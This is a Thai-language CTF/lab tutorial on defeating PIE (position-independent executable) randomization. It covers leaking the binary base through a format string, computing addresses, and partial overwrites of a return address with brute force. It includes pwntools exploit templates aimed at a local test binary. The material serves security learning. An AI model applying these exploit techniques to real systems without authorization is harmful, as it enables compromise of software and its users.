PIE (Position Independent Executable)
PIE (Position Independent Executable) คือ ASLR สำหรับตัว binary เอง — สุ่ม base address ของโค้ดโปรแกรมทุกครั้งที่รัน ทำให้ address ของฟังก์ชัน/gadget ในตัว binary เดาไม่ได้ บทนี้ลงลึกกลไก, การ leak base, partial overwrite (เลี่ยงการ leak), การคำนวณ, และความสัมพันธ์กับ ASLR (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ — ASLR ของตัว binary
binary ที่ไม่ใช่ PIE จะโหลดที่ base คงที่ (เช่น 0x400000) ทำให้ address ของ win/gadget รู้ล่วงหน้า PIE ทำให้ base ถูกสุ่มทุก run (เหมือน ASLR แต่กับตัว binary เอง) — address ของทุกอย่างในโปรแกรมจึงเดาไม่ได้ แต่เหมือน ASLR: offset ภายใน binary คงที่ (ทั้ง binary เลื่อนเป็นก้อนเดียว) ดังนั้น leak address จริงสักตัวในตัว binary = คำนวณ PIE base ได้ แล้วได้ address ของทุก symbol/gadget ในโปรแกรม
อีกคุณสมบัติสำคัญ: PIE base ถูก align ที่ page (0x1000) เสมอ → 12 bit ล่าง (3 hex หลักท้าย) ของทุก address ไม่ถูกสุ่ม คงที่เท่า offset ใน binary ดิบ คุณสมบัตินี้เปิดทาง partial overwrite (section 4)
2. ตรวจ PIE
checksec ./vuln
# PIE: PIE enabled → base สุ่ม → ต้อง leak ก่อน
# PIE: No PIE (0x400000) → base คงที่ → ใช้ elf.symbols ตรงๆ
# ดู base จริงตอน run (เปลี่ยนทุกครั้งถ้า PIE)
gdb ./vuln
gef> run
gef> vmmap vuln # ดู base address ของ binary3. Leak PIE base
ต้อง leak address จริงสักตัวที่อยู่ในตัว binary แล้วลบ offset (ดิบ) ของสิ่งนั้น แหล่ง leak ที่พบบ่อย:
- return address บน stack: มี address กลับเข้าโค้ด binary — format string %p อ่านได้
- format string: %p ไล่หา address ที่อยู่ช่วง binary (ดู format-string)
- uninitialized/leftover pointer: โปรแกรมพิมพ์ค่าที่มี code address
- GOT/PLT address บน stack: ชี้กลับ binary
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')
# leak address จริงในตัว binary (เช่นผ่าน format string %N$p)
p.sendline(b'%17$p') # ตำแหน่งที่ leak code address (หาเอง)
leak = int(p.recvline().strip(), 16)
log.info(f"leaked: {hex(leak)}")
# offset ดิบของสิ่งที่ leak (ดูจาก binary base 0 ใน gdb/objdump)
LEAK_OFFSET = 0x1234
elf.address = leak - LEAK_OFFSET # PIE base!
log.success(f"PIE base: {hex(elf.address)}")
# ตอนนี้ symbol คำนวณ address จริงให้อัตโนมัติ
win = elf.symbols['win']
log.info(f"win @ {hex(win)}")4. Partial Overwrite — เลี่ยงการ leak
เพราะ 12 bit ล่างของ address คงที่ (page-aligned) บางครั้ง ไม่ต้อง leak base เลย — แค่เขียนทับ เฉพาะ byte ท้าย ของ return address (ที่อยู่บน stack) ให้ชี้ไปฟังก์ชันอื่นที่อยู่ใน page เดียวกัน/ใกล้กัน เรียก partial overwrite
from pwn import *
elf = context.binary = ELF('./vuln')
p = process('./vuln')
offset = 72
# return address เดิมชี้ไป main+X; win อยู่ใกล้ๆ ต่างแค่ byte ท้าย
# เขียนทับแค่ 1-2 byte ล่าง (ที่ไม่ถูกสุ่ม) ให้ชี้ win
# win = 0x...XXX (3 hex หลักท้ายคงที่)
win_low = p16(elf.symbols['win'] & 0xffff) # 2 byte ล่างของ win
payload = b'A'*offset + win_low # เขียนทับแค่ 2 byte ท้าย return addr
p.sendline(payload)
p.interactive()
# ถ้า bit ที่ 13-16 สุ่มไม่ตรง → brute (1/16 ต่อ nibble) วนหลายครั้ง5. PIE vs ASLR — แยกให้ชัด
| PIE | ASLR | |
|---|---|---|
| สุ่มอะไร | base ของตัว binary (.text) | base ของ libc/stack/heap |
| กระทบ | win/gadget ในโปรแกรม | system/gadget ใน libc |
| leak อะไร | code address ในตัว binary | libc address (เช่น puts@got) |
| คำนวณ | elf.address = leak - offset | libc.address = leak - sym |
| ปิดได้แยก | compile -no-pie | /proc/sys/kernel/randomize_va_space |
ทั้งสองมักเปิดพร้อมกัน — ถ้าต้องใช้ทั้ง gadget ในตัว binary และ libc อาจต้อง leak สองครั้ง (leak code → PIE base, leak libc → libc base) ดูหัวข้อ ASLR ประกอบ
6. Quick Reference
- PIE = ASLR สำหรับตัว binary (base สุ่ม); offset ภายในคงที่
- เช็ค: checksec (PIE enabled?); gef vmmap ดู base
- leak code address → elf.address = leak - offset_ดิบ
- PIE base ลงท้าย 0x000 (page-aligned) = sanity check
- partial overwrite: เขียน byte ท้าย return addr (ไม่ต้อง leak) + brute nibble
- PIE สุ่ม binary, ASLR สุ่ม libc — อาจ leak 2 ครั้ง
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ checksec บอกว่า PIE enabled และ address ของ win/gadget เปลี่ยนทุกครั้งที่รัน — มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อ leak base หรือเลี่ยงการ leak
- 1ยืนยัน:
checksec ./vulnดูบรรทัด PIE - 2รันซ้ำหลายครั้งดู base เปลี่ยนจริงไหม:
gdb ./vulnแล้วgef> run,gef> vmmap vuln - 3หา offset ดิบของ symbol ที่สนใจตอน base=0 (ใช้
objdump -d ./vulnหรือ ghidra ดู address ในไฟล์) - 4หาช่องทาง leak: มี format string ไหม? มี pointer หลุดออกมาทาง stdout ไหม?
- 5ถ้ามีช่องโหว่ leak (เช่น %p) ใช้ leak address ที่อยู่ในช่วง binary (ไม่ใช่ libc/stack)
- 6คำนวณ base:
elf.address = leak - LEAK_OFFSETแล้วเช็คว่าลงท้าย 0x000 (sanity check) - 7ถ้าไม่มีช่องทาง leak เลย ให้พิจารณา partial overwrite: เขียนทับแค่ byte ท้ายของ return address
- 8partial overwrite:
p16(elf.symbols['win'] & 0xffff)เขียนทับ 2 byte ท้ายของ return addr เดิม - 9ถ้า nibble ที่ 4 ยังสุ่ม (1/16) ให้ brute-force วนยิงซ้ำจนกว่าจะสำเร็จ (script loop ด้วย pwntools)
- 10หลัง base คำนวณได้แล้ว ไปต่อ exploit ปกติ (ret2win/ROP/ret2libc)
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ตรวจ PIE | checksec | - | - |
| ดู base ตอนรันจริง | gdb + gef/pwndbg | bash -c "$(curl -fsSL https://gef.blah.cat/sh)" | - |
| หา offset ดิบของ symbol | objdump -d, Ghidra | - | dogbolt.org, godbolt.org |
| เขียน exploit + brute loop | pwntools | pip install pwntools | - |
| ดูโครงสร้าง ELF header | readelf -h | - | - |
| แปลง/คำนวณ address hex | python3 | - | CyberChef |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้